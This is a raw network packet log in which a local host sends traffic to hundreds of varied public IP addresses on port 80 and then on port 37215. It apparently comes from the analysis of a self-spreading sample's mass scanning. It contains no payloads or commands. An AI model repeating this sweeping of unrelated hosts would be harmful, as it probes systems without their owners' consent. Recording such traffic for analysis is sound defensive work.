Jan 2, 2024 06:23:46.194776058 CET	18377	80	192.168.2.23	79.223.89.108
Jan 2, 2024 06:23:46.194776058 CET	18377	80	192.168.2.23	171.82.128.38
Jan 2, 2024 06:23:46.194787979 CET	18377	80	192.168.2.23	32.83.243.180
Jan 2, 2024 06:23:46.194791079 CET	18377	80	192.168.2.23	185.101.168.4
Jan 2, 2024 06:23:46.194792032 CET	18377	80	192.168.2.23	137.195.124.135
Jan 2, 2024 06:23:46.194792032 CET	18377	80	192.168.2.23	196.8.95.165
Jan 2, 2024 06:23:46.194807053 CET	18377	80	192.168.2.23	82.94.202.130
Jan 2, 2024 06:23:46.194809914 CET	18377	80	192.168.2.23	211.230.123.254
Jan 2, 2024 06:23:46.194812059 CET	18377	80	192.168.2.23	123.81.31.129
Jan 2, 2024 06:23:46.194812059 CET	18377	80	192.168.2.23	83.247.153.2
Jan 2, 2024 06:23:46.194817066 CET	18377	80	192.168.2.23	182.76.167.212
Jan 2, 2024 06:23:46.194817066 CET	18377	80	192.168.2.23	32.218.114.12
Jan 2, 2024 06:23:46.194818974 CET	18377	80	192.168.2.23	207.179.110.177
Jan 2, 2024 06:23:46.194823027 CET	18377	80	192.168.2.23	221.58.80.231
Jan 2, 2024 06:23:46.194823027 CET	18377	80	192.168.2.23	157.55.100.32
Jan 2, 2024 06:23:46.194823027 CET	18377	80	192.168.2.23	48.144.29.113
Jan 2, 2024 06:23:46.194824934 CET	18377	80	192.168.2.23	135.186.7.68
Jan 2, 2024 06:23:46.194833040 CET	18377	80	192.168.2.23	67.93.87.8
Jan 2, 2024 06:23:46.194843054 CET	18377	80	192.168.2.23	18.51.59.80
Jan 2, 2024 06:23:46.194844007 CET	18377	80	192.168.2.23	45.85.144.94
Jan 2, 2024 06:23:46.194844961 CET	18377	80	192.168.2.23	59.12.95.193
Jan 2, 2024 06:23:46.194844961 CET	18377	80	192.168.2.23	128.239.115.39
Jan 2, 2024 06:23:46.194844961 CET	18377	80	192.168.2.23	191.113.206.102
Jan 2, 2024 06:23:46.194849014 CET	18377	80	192.168.2.23	38.195.70.33
Jan 2, 2024 06:23:46.194849014 CET	18377	80	192.168.2.23	88.169.86.35
Jan 2, 2024 06:23:46.194849014 CET	18377	80	192.168.2.23	104.127.138.149
Jan 2, 2024 06:23:46.194849014 CET	18377	80	192.168.2.23	85.190.106.88
Jan 2, 2024 06:23:46.194859028 CET	18377	80	192.168.2.23	81.221.237.226
Jan 2, 2024 06:23:46.194869995 CET	18377	80	192.168.2.23	171.31.199.156
Jan 2, 2024 06:23:46.194870949 CET	18377	80	192.168.2.23	146.236.26.187
Jan 2, 2024 06:23:46.194870949 CET	18377	80	192.168.2.23	17.216.243.188
Jan 2, 2024 06:23:46.194871902 CET	18377	80	192.168.2.23	140.145.142.53
Jan 2, 2024 06:23:46.194873095 CET	18377	80	192.168.2.23	42.79.249.31
Jan 2, 2024 06:23:46.194873095 CET	18377	80	192.168.2.23	158.219.160.220
Jan 2, 2024 06:23:46.194873095 CET	18377	80	192.168.2.23	176.118.4.201
Jan 2, 2024 06:23:46.194875956 CET	18377	80	192.168.2.23	165.249.47.97
Jan 2, 2024 06:23:46.194880962 CET	18377	80	192.168.2.23	155.67.213.213
Jan 2, 2024 06:23:46.194881916 CET	18377	80	192.168.2.23	108.40.103.172
Jan 2, 2024 06:23:46.194881916 CET	18377	80	192.168.2.23	94.219.76.163
Jan 2, 2024 06:23:46.194885969 CET	18377	80	192.168.2.23	120.167.242.229
Jan 2, 2024 06:23:46.194892883 CET	18377	80	192.168.2.23	171.19.165.201
Jan 2, 2024 06:23:46.194900990 CET	18377	80	192.168.2.23	40.83.1.209
Jan 2, 2024 06:23:46.194901943 CET	18377	80	192.168.2.23	207.232.239.252
Jan 2, 2024 06:23:46.194905043 CET	18377	80	192.168.2.23	154.174.19.77
Jan 2, 2024 06:23:46.194905043 CET	18377	80	192.168.2.23	150.8.20.191
Jan 2, 2024 06:23:46.194914103 CET	18377	80	192.168.2.23	5.93.112.251
Jan 2, 2024 06:23:46.194914103 CET	18377	80	192.168.2.23	124.144.66.252
Jan 2, 2024 06:23:46.194914103 CET	18377	80	192.168.2.23	92.104.200.215
Jan 2, 2024 06:23:46.194914103 CET	18377	80	192.168.2.23	45.181.89.159
Jan 2, 2024 06:23:46.194916010 CET	18377	80	192.168.2.23	34.128.40.215
Jan 2, 2024 06:23:46.194916010 CET	18377	80	192.168.2.23	142.251.190.208
Jan 2, 2024 06:23:46.194916964 CET	18377	80	192.168.2.23	198.161.138.138
Jan 2, 2024 06:23:46.194920063 CET	18377	80	192.168.2.23	100.181.133.117
Jan 2, 2024 06:23:46.194920063 CET	18377	80	192.168.2.23	149.146.243.83
Jan 2, 2024 06:23:46.194926023 CET	18377	80	192.168.2.23	57.13.36.21
Jan 2, 2024 06:23:46.194926023 CET	18377	80	192.168.2.23	210.13.196.91
Jan 2, 2024 06:23:46.194926023 CET	18377	80	192.168.2.23	5.132.43.71
Jan 2, 2024 06:23:46.194928885 CET	18377	80	192.168.2.23	189.25.139.182
Jan 2, 2024 06:23:46.194938898 CET	18377	80	192.168.2.23	125.231.47.35
Jan 2, 2024 06:23:46.194946051 CET	18377	80	192.168.2.23	131.65.50.13
Jan 2, 2024 06:23:46.194950104 CET	18377	80	192.168.2.23	188.199.31.133
Jan 2, 2024 06:23:46.194952011 CET	18377	80	192.168.2.23	5.135.162.147
Jan 2, 2024 06:23:46.194952965 CET	18377	80	192.168.2.23	172.106.99.239
Jan 2, 2024 06:23:46.194952011 CET	18377	80	192.168.2.23	147.191.191.129
Jan 2, 2024 06:23:46.194952965 CET	18377	80	192.168.2.23	63.127.230.60
Jan 2, 2024 06:23:46.194963932 CET	18377	80	192.168.2.23	103.10.26.162
Jan 2, 2024 06:23:46.194967031 CET	18377	80	192.168.2.23	118.208.209.134
Jan 2, 2024 06:23:46.194967031 CET	18377	80	192.168.2.23	69.77.174.64
Jan 2, 2024 06:23:46.194967031 CET	18377	80	192.168.2.23	4.96.198.219
Jan 2, 2024 06:23:46.194972992 CET	18377	80	192.168.2.23	172.108.209.119
Jan 2, 2024 06:23:46.194981098 CET	18377	80	192.168.2.23	12.93.27.222
Jan 2, 2024 06:23:46.194981098 CET	18377	80	192.168.2.23	89.161.178.104
Jan 2, 2024 06:23:46.194982052 CET	18377	80	192.168.2.23	65.66.250.28
Jan 2, 2024 06:23:46.194986105 CET	18377	80	192.168.2.23	200.179.235.209
Jan 2, 2024 06:23:46.194986105 CET	18377	80	192.168.2.23	217.173.249.15
Jan 2, 2024 06:23:46.194986105 CET	18377	80	192.168.2.23	4.204.178.240
Jan 2, 2024 06:23:46.194992065 CET	18377	80	192.168.2.23	18.252.7.7
Jan 2, 2024 06:23:46.194992065 CET	18377	80	192.168.2.23	86.102.234.46
Jan 2, 2024 06:23:46.195005894 CET	18377	80	192.168.2.23	109.221.241.86
Jan 2, 2024 06:23:46.195008993 CET	18377	80	192.168.2.23	58.6.246.86
Jan 2, 2024 06:23:46.195024014 CET	18377	80	192.168.2.23	199.244.4.101
Jan 2, 2024 06:23:46.195024014 CET	18377	80	192.168.2.23	126.225.114.110
Jan 2, 2024 06:23:46.195025921 CET	18377	80	192.168.2.23	136.110.36.3
Jan 2, 2024 06:23:46.195025921 CET	18377	80	192.168.2.23	180.105.79.106
Jan 2, 2024 06:23:46.195033073 CET	18377	80	192.168.2.23	118.169.181.58
Jan 2, 2024 06:23:46.195034027 CET	18377	80	192.168.2.23	106.62.247.195
Jan 2, 2024 06:23:46.195034027 CET	18377	80	192.168.2.23	35.244.160.181
Jan 2, 2024 06:23:46.195034981 CET	18377	80	192.168.2.23	71.144.19.224
Jan 2, 2024 06:23:46.195035934 CET	18377	80	192.168.2.23	75.3.195.62
Jan 2, 2024 06:23:46.195050001 CET	18377	80	192.168.2.23	1.119.244.105
Jan 2, 2024 06:23:46.195050001 CET	18377	80	192.168.2.23	140.205.86.68
Jan 2, 2024 06:23:46.195054054 CET	18377	80	192.168.2.23	118.123.34.156
Jan 2, 2024 06:23:46.195059061 CET	18377	80	192.168.2.23	136.131.45.137
Jan 2, 2024 06:23:46.195059061 CET	18377	80	192.168.2.23	211.175.157.114
Jan 2, 2024 06:23:46.195060015 CET	18377	80	192.168.2.23	147.223.33.196
Jan 2, 2024 06:23:46.195074081 CET	18377	80	192.168.2.23	149.248.1.250
Jan 2, 2024 06:23:46.195082903 CET	18377	80	192.168.2.23	184.208.36.184
Jan 2, 2024 06:23:46.195086002 CET	18377	80	192.168.2.23	206.9.63.24
Jan 2, 2024 06:23:46.195086002 CET	18377	80	192.168.2.23	5.23.78.111
Jan 2, 2024 06:23:46.195086956 CET	18377	80	192.168.2.23	119.138.100.173
Jan 2, 2024 06:23:46.195086956 CET	18377	80	192.168.2.23	1.193.109.127
Jan 2, 2024 06:23:46.195091009 CET	18377	80	192.168.2.23	206.60.5.172
Jan 2, 2024 06:23:46.195091009 CET	18377	80	192.168.2.23	45.217.99.241
Jan 2, 2024 06:23:46.195101023 CET	18377	80	192.168.2.23	183.2.171.67
Jan 2, 2024 06:23:46.195106030 CET	18377	80	192.168.2.23	37.155.199.130
Jan 2, 2024 06:23:46.195111036 CET	18377	80	192.168.2.23	146.255.186.84
Jan 2, 2024 06:23:46.195111036 CET	18377	80	192.168.2.23	83.161.224.3
Jan 2, 2024 06:23:46.195116043 CET	18377	80	192.168.2.23	110.147.194.98
Jan 2, 2024 06:23:46.195120096 CET	18377	80	192.168.2.23	17.244.52.76
Jan 2, 2024 06:23:46.195121050 CET	18377	80	192.168.2.23	220.215.11.200
Jan 2, 2024 06:23:46.195122004 CET	18377	80	192.168.2.23	66.92.59.106
Jan 2, 2024 06:23:46.195131063 CET	18377	80	192.168.2.23	58.255.139.118
Jan 2, 2024 06:23:46.195132971 CET	18377	80	192.168.2.23	8.237.204.182
Jan 2, 2024 06:23:46.195132971 CET	18377	80	192.168.2.23	8.127.181.43
Jan 2, 2024 06:23:46.195138931 CET	18377	80	192.168.2.23	223.250.81.104
Jan 2, 2024 06:23:46.195138931 CET	18377	80	192.168.2.23	31.51.109.174
Jan 2, 2024 06:23:46.195138931 CET	18377	80	192.168.2.23	82.54.108.93
Jan 2, 2024 06:23:46.195161104 CET	18377	80	192.168.2.23	1.151.68.164
Jan 2, 2024 06:23:46.195161104 CET	18377	80	192.168.2.23	81.142.13.172
Jan 2, 2024 06:23:46.195161104 CET	18377	80	192.168.2.23	167.210.11.220
Jan 2, 2024 06:23:46.195164919 CET	18377	80	192.168.2.23	119.50.156.18
Jan 2, 2024 06:23:46.195164919 CET	18377	80	192.168.2.23	207.127.105.179
Jan 2, 2024 06:23:46.195174932 CET	18377	80	192.168.2.23	24.101.157.7
Jan 2, 2024 06:23:46.195177078 CET	18377	80	192.168.2.23	146.199.149.244
Jan 2, 2024 06:23:46.195178986 CET	18377	80	192.168.2.23	190.226.75.222
Jan 2, 2024 06:23:46.195182085 CET	18377	80	192.168.2.23	89.70.158.246
Jan 2, 2024 06:23:46.195193052 CET	18377	80	192.168.2.23	71.110.172.169
Jan 2, 2024 06:23:46.195194006 CET	18377	80	192.168.2.23	150.9.234.16
Jan 2, 2024 06:23:46.195195913 CET	18377	80	192.168.2.23	158.202.37.166
Jan 2, 2024 06:23:46.195204973 CET	18377	80	192.168.2.23	161.134.86.86
Jan 2, 2024 06:23:46.195209980 CET	18377	80	192.168.2.23	66.242.46.153
Jan 2, 2024 06:23:46.195211887 CET	18377	80	192.168.2.23	211.151.105.20
Jan 2, 2024 06:23:46.195214033 CET	18377	80	192.168.2.23	157.29.207.122
Jan 2, 2024 06:23:46.195214987 CET	18377	80	192.168.2.23	42.64.29.82
Jan 2, 2024 06:23:46.195216894 CET	18377	80	192.168.2.23	93.81.179.116
Jan 2, 2024 06:23:46.195220947 CET	18377	80	192.168.2.23	223.176.245.94
Jan 2, 2024 06:23:46.195224047 CET	18377	80	192.168.2.23	111.178.146.34
Jan 2, 2024 06:23:46.195239067 CET	18377	80	192.168.2.23	66.245.103.232
Jan 2, 2024 06:23:46.195245028 CET	18377	80	192.168.2.23	13.137.74.26
Jan 2, 2024 06:23:46.195246935 CET	18377	80	192.168.2.23	191.31.255.27
Jan 2, 2024 06:23:46.195246935 CET	18377	80	192.168.2.23	5.92.102.241
Jan 2, 2024 06:23:46.195249081 CET	18377	80	192.168.2.23	47.80.160.112
Jan 2, 2024 06:23:46.195256948 CET	18377	80	192.168.2.23	156.119.54.222
Jan 2, 2024 06:23:46.195262909 CET	18377	80	192.168.2.23	62.143.5.50
Jan 2, 2024 06:23:46.195276976 CET	18377	80	192.168.2.23	196.18.188.198
Jan 2, 2024 06:23:46.195278883 CET	18377	80	192.168.2.23	208.93.34.222
Jan 2, 2024 06:23:46.195280075 CET	18377	80	192.168.2.23	25.46.85.147
Jan 2, 2024 06:23:46.195281029 CET	18377	80	192.168.2.23	121.58.243.247
Jan 2, 2024 06:23:46.195281029 CET	18377	80	192.168.2.23	159.67.251.157
Jan 2, 2024 06:23:46.195281029 CET	18377	80	192.168.2.23	111.151.214.23
Jan 2, 2024 06:23:46.195281982 CET	18377	80	192.168.2.23	154.168.224.81
Jan 2, 2024 06:23:46.195291042 CET	18377	80	192.168.2.23	42.32.121.211
Jan 2, 2024 06:23:46.195291042 CET	18377	80	192.168.2.23	150.246.111.68
Jan 2, 2024 06:23:46.195302963 CET	18377	80	192.168.2.23	216.120.87.147
Jan 2, 2024 06:23:46.195313931 CET	18377	80	192.168.2.23	161.42.51.185
Jan 2, 2024 06:23:46.195316076 CET	18377	80	192.168.2.23	213.43.45.150
Jan 2, 2024 06:23:46.195317030 CET	18377	80	192.168.2.23	170.219.35.153
Jan 2, 2024 06:23:46.195317030 CET	18377	80	192.168.2.23	153.218.112.223
Jan 2, 2024 06:23:46.195317030 CET	18377	80	192.168.2.23	204.237.85.147
Jan 2, 2024 06:23:46.195323944 CET	18377	80	192.168.2.23	34.222.91.108
Jan 2, 2024 06:23:46.195333958 CET	18377	80	192.168.2.23	216.93.14.27
Jan 2, 2024 06:23:46.195333958 CET	18377	80	192.168.2.23	117.105.198.175
Jan 2, 2024 06:23:46.195338011 CET	18377	80	192.168.2.23	143.156.242.249
Jan 2, 2024 06:23:46.195342064 CET	18377	80	192.168.2.23	146.224.23.67
Jan 2, 2024 06:23:46.195347071 CET	18377	80	192.168.2.23	14.77.161.235
Jan 2, 2024 06:23:46.195347071 CET	18377	80	192.168.2.23	136.168.120.224
Jan 2, 2024 06:23:46.195348024 CET	18377	80	192.168.2.23	98.166.46.127
Jan 2, 2024 06:23:46.195349932 CET	18377	80	192.168.2.23	20.233.246.185
Jan 2, 2024 06:23:46.195362091 CET	18377	80	192.168.2.23	147.142.165.200
Jan 2, 2024 06:23:46.195362091 CET	18377	80	192.168.2.23	87.77.216.31
Jan 2, 2024 06:23:46.195362091 CET	18377	80	192.168.2.23	94.159.189.216
Jan 2, 2024 06:23:46.195362091 CET	18377	80	192.168.2.23	212.142.133.137
Jan 2, 2024 06:23:46.195367098 CET	18377	80	192.168.2.23	61.93.149.168
Jan 2, 2024 06:23:46.195377111 CET	18377	80	192.168.2.23	203.169.205.173
Jan 2, 2024 06:23:46.195377111 CET	18377	80	192.168.2.23	69.130.227.231
Jan 2, 2024 06:23:46.195388079 CET	18377	80	192.168.2.23	111.115.80.43
Jan 2, 2024 06:23:46.195388079 CET	18377	80	192.168.2.23	118.137.119.225
Jan 2, 2024 06:23:46.195389032 CET	18377	80	192.168.2.23	131.111.72.133
Jan 2, 2024 06:23:46.195398092 CET	18377	80	192.168.2.23	74.237.139.114
Jan 2, 2024 06:23:46.195400953 CET	18377	80	192.168.2.23	74.51.7.162
Jan 2, 2024 06:23:46.195400953 CET	18377	80	192.168.2.23	150.199.21.171
Jan 2, 2024 06:23:46.195405006 CET	18377	80	192.168.2.23	125.57.47.73
Jan 2, 2024 06:23:46.195417881 CET	18377	80	192.168.2.23	47.131.35.255
Jan 2, 2024 06:23:46.195417881 CET	18377	80	192.168.2.23	167.61.163.228
Jan 2, 2024 06:23:46.195427895 CET	18377	80	192.168.2.23	126.75.208.117
Jan 2, 2024 06:23:46.195430040 CET	18377	80	192.168.2.23	66.197.22.108
Jan 2, 2024 06:23:46.195430040 CET	18377	80	192.168.2.23	135.55.51.125
Jan 2, 2024 06:23:46.195436001 CET	18377	80	192.168.2.23	31.88.15.148
Jan 2, 2024 06:23:46.195436001 CET	18377	80	192.168.2.23	5.145.36.64
Jan 2, 2024 06:23:46.195439100 CET	18377	80	192.168.2.23	144.137.94.21
Jan 2, 2024 06:23:46.195440054 CET	18377	80	192.168.2.23	85.152.45.88
Jan 2, 2024 06:23:46.195445061 CET	18377	80	192.168.2.23	118.127.103.53
Jan 2, 2024 06:23:46.195456982 CET	18377	80	192.168.2.23	211.94.78.215
Jan 2, 2024 06:23:46.195460081 CET	18377	80	192.168.2.23	138.110.128.9
Jan 2, 2024 06:23:46.195461988 CET	18377	80	192.168.2.23	69.115.248.71
Jan 2, 2024 06:23:46.195462942 CET	18377	80	192.168.2.23	154.197.45.173
Jan 2, 2024 06:23:46.195466042 CET	18377	80	192.168.2.23	88.226.108.219
Jan 2, 2024 06:23:46.195466995 CET	18377	80	192.168.2.23	132.68.184.120
Jan 2, 2024 06:23:46.195470095 CET	18377	80	192.168.2.23	116.87.37.9
Jan 2, 2024 06:23:46.195478916 CET	18377	80	192.168.2.23	159.218.255.95
Jan 2, 2024 06:23:46.195487022 CET	18377	80	192.168.2.23	4.179.241.186
Jan 2, 2024 06:23:46.195493937 CET	18377	80	192.168.2.23	209.144.201.84
Jan 2, 2024 06:23:46.195494890 CET	18377	80	192.168.2.23	63.216.131.8
Jan 2, 2024 06:23:46.195499897 CET	18377	80	192.168.2.23	172.109.53.193
Jan 2, 2024 06:23:46.195502043 CET	18377	80	192.168.2.23	107.131.51.229
Jan 2, 2024 06:23:46.195502043 CET	18377	80	192.168.2.23	93.236.235.133
Jan 2, 2024 06:23:46.195502996 CET	18377	80	192.168.2.23	168.118.179.92
Jan 2, 2024 06:23:46.195502996 CET	18377	80	192.168.2.23	95.106.26.60
Jan 2, 2024 06:23:46.195502996 CET	18377	80	192.168.2.23	41.185.201.198
Jan 2, 2024 06:23:46.195502996 CET	18377	80	192.168.2.23	42.211.223.172
Jan 2, 2024 06:23:46.195508003 CET	18377	80	192.168.2.23	93.191.120.229
Jan 2, 2024 06:23:46.195508003 CET	18377	80	192.168.2.23	35.119.212.114
Jan 2, 2024 06:23:46.195508957 CET	18377	80	192.168.2.23	221.99.219.17
Jan 2, 2024 06:23:46.195519924 CET	18377	80	192.168.2.23	223.149.228.149
Jan 2, 2024 06:23:46.195522070 CET	18377	80	192.168.2.23	158.46.138.163
Jan 2, 2024 06:23:46.195527077 CET	18377	80	192.168.2.23	110.50.155.20
Jan 2, 2024 06:23:46.195528984 CET	18377	80	192.168.2.23	159.250.64.37
Jan 2, 2024 06:23:46.195528984 CET	18377	80	192.168.2.23	138.143.209.135
Jan 2, 2024 06:23:46.195529938 CET	18377	80	192.168.2.23	123.249.77.114
Jan 2, 2024 06:23:46.195530891 CET	18377	80	192.168.2.23	166.68.129.160
Jan 2, 2024 06:23:46.195535898 CET	18377	80	192.168.2.23	158.170.33.131
Jan 2, 2024 06:23:46.195548058 CET	18377	80	192.168.2.23	42.3.202.12
Jan 2, 2024 06:23:46.195550919 CET	18377	80	192.168.2.23	187.233.53.204
Jan 2, 2024 06:23:46.195550919 CET	18377	80	192.168.2.23	42.67.199.16
Jan 2, 2024 06:23:46.195555925 CET	18377	80	192.168.2.23	133.171.125.222
Jan 2, 2024 06:23:46.195559025 CET	18377	80	192.168.2.23	195.65.67.77
Jan 2, 2024 06:23:46.195559025 CET	18377	80	192.168.2.23	19.188.9.50
Jan 2, 2024 06:23:46.195564985 CET	18377	80	192.168.2.23	187.61.33.82
Jan 2, 2024 06:23:46.195570946 CET	18377	80	192.168.2.23	97.199.110.85
Jan 2, 2024 06:23:46.195585012 CET	18377	80	192.168.2.23	110.196.221.178
Jan 2, 2024 06:23:46.195585012 CET	18377	80	192.168.2.23	166.191.235.38
Jan 2, 2024 06:23:46.195589066 CET	18377	80	192.168.2.23	181.48.11.211
Jan 2, 2024 06:23:46.195589066 CET	18377	80	192.168.2.23	197.30.66.28
Jan 2, 2024 06:23:46.195590973 CET	18377	80	192.168.2.23	5.174.160.197
Jan 2, 2024 06:23:46.195594072 CET	18377	80	192.168.2.23	217.249.90.175
Jan 2, 2024 06:23:46.195594072 CET	18377	80	192.168.2.23	197.132.25.176
Jan 2, 2024 06:23:46.195601940 CET	18377	80	192.168.2.23	222.251.71.216
Jan 2, 2024 06:23:46.195602894 CET	18377	80	192.168.2.23	136.222.92.220
Jan 2, 2024 06:23:46.195602894 CET	18377	80	192.168.2.23	115.139.156.146
Jan 2, 2024 06:23:46.195602894 CET	18377	80	192.168.2.23	65.190.224.228
Jan 2, 2024 06:23:46.195605993 CET	18377	80	192.168.2.23	54.164.192.59
Jan 2, 2024 06:23:46.195605993 CET	18377	80	192.168.2.23	193.136.186.255
Jan 2, 2024 06:23:46.195605993 CET	18377	80	192.168.2.23	148.125.235.62
Jan 2, 2024 06:23:46.195610046 CET	18377	80	192.168.2.23	17.234.93.66
Jan 2, 2024 06:23:46.195620060 CET	18377	80	192.168.2.23	143.100.127.81
Jan 2, 2024 06:23:46.195620060 CET	18377	80	192.168.2.23	188.123.150.168
Jan 2, 2024 06:23:46.195624113 CET	18377	80	192.168.2.23	163.206.179.193
Jan 2, 2024 06:23:46.195637941 CET	18377	80	192.168.2.23	197.221.68.178
Jan 2, 2024 06:23:46.195641041 CET	18377	80	192.168.2.23	90.209.54.176
Jan 2, 2024 06:23:46.195645094 CET	18377	80	192.168.2.23	142.195.214.233
Jan 2, 2024 06:23:46.195645094 CET	18377	80	192.168.2.23	102.224.123.176
Jan 2, 2024 06:23:46.195646048 CET	18377	80	192.168.2.23	51.55.49.116
Jan 2, 2024 06:23:46.195646048 CET	18377	80	192.168.2.23	118.91.60.91
Jan 2, 2024 06:23:46.195646048 CET	18377	80	192.168.2.23	78.223.68.39
Jan 2, 2024 06:23:46.195651054 CET	18377	80	192.168.2.23	178.183.104.160
Jan 2, 2024 06:23:46.195651054 CET	18377	80	192.168.2.23	139.9.4.115
Jan 2, 2024 06:23:46.195656061 CET	18377	80	192.168.2.23	105.146.244.236
Jan 2, 2024 06:23:46.195657969 CET	18377	80	192.168.2.23	27.23.13.85
Jan 2, 2024 06:23:46.195668936 CET	18377	80	192.168.2.23	74.231.76.139
Jan 2, 2024 06:23:46.195677996 CET	18377	80	192.168.2.23	191.114.55.255
Jan 2, 2024 06:23:46.195678949 CET	18377	80	192.168.2.23	213.5.79.108
Jan 2, 2024 06:23:46.195681095 CET	18377	80	192.168.2.23	94.149.246.89
Jan 2, 2024 06:23:46.195681095 CET	18377	80	192.168.2.23	68.123.61.92
Jan 2, 2024 06:23:46.195683956 CET	18377	80	192.168.2.23	120.213.199.41
Jan 2, 2024 06:23:46.195692062 CET	18377	80	192.168.2.23	9.185.88.84
Jan 2, 2024 06:23:46.195693016 CET	18377	80	192.168.2.23	131.171.188.238
Jan 2, 2024 06:23:46.195699930 CET	18377	80	192.168.2.23	113.189.127.138
Jan 2, 2024 06:23:46.195703030 CET	18377	80	192.168.2.23	183.35.88.16
Jan 2, 2024 06:23:46.195717096 CET	18377	80	192.168.2.23	20.106.131.34
Jan 2, 2024 06:23:46.195717096 CET	18377	80	192.168.2.23	104.77.161.197
Jan 2, 2024 06:23:46.195718050 CET	18377	80	192.168.2.23	36.206.48.87
Jan 2, 2024 06:23:46.195718050 CET	18377	80	192.168.2.23	66.164.71.219
Jan 2, 2024 06:23:46.195720911 CET	18377	80	192.168.2.23	66.95.185.178
Jan 2, 2024 06:23:46.195720911 CET	18377	80	192.168.2.23	9.162.231.175
Jan 2, 2024 06:23:46.195732117 CET	18377	80	192.168.2.23	61.226.28.247
Jan 2, 2024 06:23:46.195736885 CET	18377	80	192.168.2.23	39.247.150.50
Jan 2, 2024 06:23:46.195740938 CET	18377	80	192.168.2.23	136.142.91.22
Jan 2, 2024 06:23:46.195744038 CET	18377	80	192.168.2.23	41.235.238.220
Jan 2, 2024 06:23:46.195746899 CET	18377	80	192.168.2.23	71.212.185.133
Jan 2, 2024 06:23:46.195746899 CET	18377	80	192.168.2.23	100.182.55.78
Jan 2, 2024 06:23:46.195751905 CET	18377	80	192.168.2.23	27.184.72.156
Jan 2, 2024 06:23:46.195751905 CET	18377	80	192.168.2.23	72.130.94.215
Jan 2, 2024 06:23:46.195764065 CET	18377	80	192.168.2.23	145.113.161.6
Jan 2, 2024 06:23:46.195765972 CET	18377	80	192.168.2.23	220.112.39.80
Jan 2, 2024 06:23:46.195766926 CET	18377	80	192.168.2.23	117.135.150.89
Jan 2, 2024 06:23:46.195768118 CET	18377	80	192.168.2.23	25.23.168.27
Jan 2, 2024 06:23:46.195766926 CET	18377	80	192.168.2.23	27.242.251.92
Jan 2, 2024 06:23:46.195775032 CET	18377	80	192.168.2.23	203.198.68.120
Jan 2, 2024 06:23:46.195782900 CET	18377	80	192.168.2.23	44.110.188.126
Jan 2, 2024 06:23:46.195786953 CET	18377	80	192.168.2.23	170.247.196.216
Jan 2, 2024 06:23:46.195786953 CET	18377	80	192.168.2.23	37.76.202.243
Jan 2, 2024 06:23:46.195787907 CET	18377	80	192.168.2.23	18.147.37.209
Jan 2, 2024 06:23:46.195791006 CET	18377	80	192.168.2.23	91.200.50.202
Jan 2, 2024 06:23:46.195791960 CET	18377	80	192.168.2.23	124.23.6.194
Jan 2, 2024 06:23:46.195811987 CET	18377	80	192.168.2.23	42.29.64.58
Jan 2, 2024 06:23:46.210964918 CET	24529	37215	192.168.2.23	197.150.112.82
Jan 2, 2024 06:23:46.210969925 CET	24529	37215	192.168.2.23	197.53.115.245
Jan 2, 2024 06:23:46.210983992 CET	24529	37215	192.168.2.23	197.244.224.155
Jan 2, 2024 06:23:46.210983992 CET	24529	37215	192.168.2.23	41.211.69.130
Jan 2, 2024 06:23:46.210983992 CET	24529	37215	192.168.2.23	41.58.116.164
Jan 2, 2024 06:23:46.210983992 CET	24529	37215	192.168.2.23	197.48.109.95
Jan 2, 2024 06:23:46.210987091 CET	24529	37215	192.168.2.23	41.177.180.250
Jan 2, 2024 06:23:46.211000919 CET	24529	37215	192.168.2.23	197.221.165.61
Jan 2, 2024 06:23:46.211004019 CET	24529	37215	192.168.2.23	156.98.182.252
Jan 2, 2024 06:23:46.211004972 CET	24529	37215	192.168.2.23	156.136.100.73
Jan 2, 2024 06:23:46.211009026 CET	24529	37215	192.168.2.23	156.47.153.240
Jan 2, 2024 06:23:46.211009026 CET	24529	37215	192.168.2.23	41.126.82.57
Jan 2, 2024 06:23:46.211024046 CET	24529	37215	192.168.2.23	156.178.76.167
Jan 2, 2024 06:23:46.211025953 CET	24529	37215	192.168.2.23	156.10.141.238
Jan 2, 2024 06:23:46.211025953 CET	24529	37215	192.168.2.23	156.139.87.213
Jan 2, 2024 06:23:46.211026907 CET	24529	37215	192.168.2.23	156.120.154.174
Jan 2, 2024 06:23:46.211045027 CET	24529	37215	192.168.2.23	41.85.212.96
Jan 2, 2024 06:23:46.211045027 CET	24529	37215	192.168.2.23	197.94.70.191
Jan 2, 2024 06:23:46.211045980 CET	24529	37215	192.168.2.23	197.35.142.44
Jan 2, 2024 06:23:46.211046934 CET	24529	37215	192.168.2.23	41.163.62.134
Jan 2, 2024 06:23:46.211050034 CET	24529	37215	192.168.2.23	41.156.191.140
Jan 2, 2024 06:23:46.211056948 CET	24529	37215	192.168.2.23	197.89.197.146
Jan 2, 2024 06:23:46.211057901 CET	24529	37215	192.168.2.23	156.141.221.97
Jan 2, 2024 06:23:46.211060047 CET	24529	37215	192.168.2.23	156.255.145.90
Jan 2, 2024 06:23:46.211060047 CET	24529	37215	192.168.2.23	197.57.41.31
Jan 2, 2024 06:23:46.211065054 CET	24529	37215	192.168.2.23	156.252.94.123
Jan 2, 2024 06:23:46.211082935 CET	24529	37215	192.168.2.23	197.162.238.61
Jan 2, 2024 06:23:46.211083889 CET	24529	37215	192.168.2.23	197.29.37.134
Jan 2, 2024 06:23:46.211085081 CET	24529	37215	192.168.2.23	156.62.199.39
Jan 2, 2024 06:23:46.211086988 CET	24529	37215	192.168.2.23	41.233.13.28
Jan 2, 2024 06:23:46.211088896 CET	24529	37215	192.168.2.23	41.171.223.34
Jan 2, 2024 06:23:46.211097002 CET	24529	37215	192.168.2.23	197.115.155.11
Jan 2, 2024 06:23:46.211107969 CET	24529	37215	192.168.2.23	156.67.103.62
Jan 2, 2024 06:23:46.211108923 CET	24529	37215	192.168.2.23	197.198.223.232
Jan 2, 2024 06:23:46.211108923 CET	24529	37215	192.168.2.23	156.190.51.36
Jan 2, 2024 06:23:46.211119890 CET	24529	37215	192.168.2.23	41.124.198.95
Jan 2, 2024 06:23:46.211124897 CET	24529	37215	192.168.2.23	197.11.92.169
Jan 2, 2024 06:23:46.211131096 CET	24529	37215	192.168.2.23	41.83.67.111
Jan 2, 2024 06:23:46.211136103 CET	24529	37215	192.168.2.23	197.95.44.217
Jan 2, 2024 06:23:46.211136103 CET	24529	37215	192.168.2.23	156.84.69.98
Jan 2, 2024 06:23:46.211136103 CET	24529	37215	192.168.2.23	197.65.243.182
Jan 2, 2024 06:23:46.211141109 CET	24529	37215	192.168.2.23	41.110.228.86
Jan 2, 2024 06:23:46.211142063 CET	24529	37215	192.168.2.23	156.94.102.123
Jan 2, 2024 06:23:46.211142063 CET	24529	37215	192.168.2.23	197.58.130.94
